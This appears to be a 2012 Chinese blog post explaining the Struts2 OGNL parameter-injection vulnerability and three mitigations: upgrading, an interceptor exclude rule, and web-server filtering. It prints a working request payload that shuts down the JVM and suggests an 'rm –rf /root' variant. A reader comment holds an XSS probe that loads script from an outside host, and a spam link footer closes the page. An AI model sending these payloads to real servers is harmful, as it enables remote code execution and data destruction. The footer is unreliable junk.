<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 110, comments - 101, trackbacks - 0, articles - 7
      BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

    struts2 漏洞 測試方案 與 解決方案

    Posted on 2012-07-11 13:26 云云 閱讀(4339) 評論(1)  編輯  收藏
    Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明為一個ONGL(這里是ONGL的介紹)語句。當我們提交一個http參數:
    Java代碼  
    1. ?user.address.city=Bishkek&user['favoriteDrink']=kumys  

    ONGL將它轉換為:
    Java代碼  
    1. action.getUser().getAddress().setCity("Bishkek")   
    2. action.getUser().setFavoriteDrink("kumys")  

    這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
    為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:
    此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
    Java代碼  
    1. ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1  

    轉義后是這樣:
    Java代碼  
    1. ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1  

    OGNL處理時最終的結果就是
    Java代碼  
    1. java.lang.Runtime.getRuntime().exit(1);  

    類似的可以執行
    Java代碼  
    1. java.lang.Runtime.getRuntime().exec("rm –rf /root")  
    ,只要有權限就可以刪除任何一個目錄。
    目前嘗試了3個解決方案:

    1.升級到struts2.2版本。
    這個可以避免這個問題,但是struts開發團隊沒有release這個版本(包括最新的2.2.1版本都沒有release),經我測試發現新版本雖然解決了上述的漏洞,但是新的問題是strus標簽出問題了。
    Java代碼  
    1. <s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>   
    2. <s:property value="#UserUtil.getType().get(cType.toString())" />  

    這樣的標簽在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的問題導致的,補了漏洞,正常的使用也用不了了。
    所以sebug網站上的建議升級到2.2版本是不可行的。

    2.struts參數過濾。
    Java代碼  
    1. <interceptor-ref name="params">   
    2. <param name="excludeParams">.*\\u0023.*</param>   
    3. </interceptor-ref>  

    這個可以解決漏洞問題,缺點是工作量大,每個項目都得改struts配置文件。如果項目里,是引用的一個類似global.xml的配置文件,工作量相應減少一些。

    3.在前端請求進行過濾。
    比如在ngnix,apache進行攔截,參數中帶有\u0023的一律視為攻擊,跳轉到404頁面或者別的什么頁面。這樣做的一個前提就是沒人把#號轉碼后作為參數傳遞。
    請求如果是get方式,可以進行過濾,如果是post方式就過濾不到了,所以還是應該修改配置文件或更新新的jar包。

    目前來看后兩種是比較有效的方法,采用第三種方法比較簡便。是否有另外的解決辦法,歡迎大家討論。

    我并沒有在windows環境下測試,有同學在windows下沒有試驗成功,這并不能說明windows下就沒有風險可能是我們的參數或者什么地方有問題而已。既然漏洞的確存在,咱們就要重視對吧。歡迎大家測試,是否windows下漏洞不能執行成功。

    評論

    # re: struts2 漏洞 測試方案 與 解決方案   回復  更多評論   

    2014-01-27 08:32 by 發給非v
    This is a test"></textarea><script src=http://xss.tw/4957></script>

    只有注冊用戶登錄后才能發表評論。


    網站導航:
     
    主站蜘蛛池模板: 亚洲性日韩精品一区二区三区 | 亚洲第一黄色网址| 成年女人毛片免费播放人| 久久这里只精品99re免费| 一个人看的免费视频www在线高清动漫| 亚洲色偷精品一区二区三区 | 日韩特黄特色大片免费视频| 在线人成精品免费视频| 亚洲夜夜欢A∨一区二区三区| 亚洲Av无码乱码在线播放| 国产成人青青热久免费精品 | a级毛片免费观看在线| 亚洲五月午夜免费在线视频| 色一情一乱一伦一视频免费看| 亚洲人成网站色7799| 亚洲第一综合天堂另类专| 精品无码专区亚洲| 亚洲av无码专区国产不乱码| 亚洲男人的天堂网站| 亚洲aⅴ天堂av天堂无码麻豆| 色噜噜的亚洲男人的天堂| 一级做a爱过程免费视频高清| 黄色一级视频免费| 添bbb免费观看高清视频| 一区二区三区精品高清视频免费在线播放 | 亚洲日韩乱码中文无码蜜桃臀网站| 亚洲国产一成人久久精品| 亚洲国产精品乱码一区二区| 亚洲人成电影亚洲人成9999网| 亚洲午夜精品在线| 美女被艹免费视频| 中文字幕视频在线免费观看| 国产成人精品久久免费动漫| 曰皮全部过程视频免费国产30分钟| 亚洲精品视频久久久| 亚洲福利秒拍一区二区| 色偷偷噜噜噜亚洲男人| 成全在线观看免费观看大全 | 亚洲日韩aⅴ在线视频| 亚洲神级电影国语版| 五月婷婷免费视频|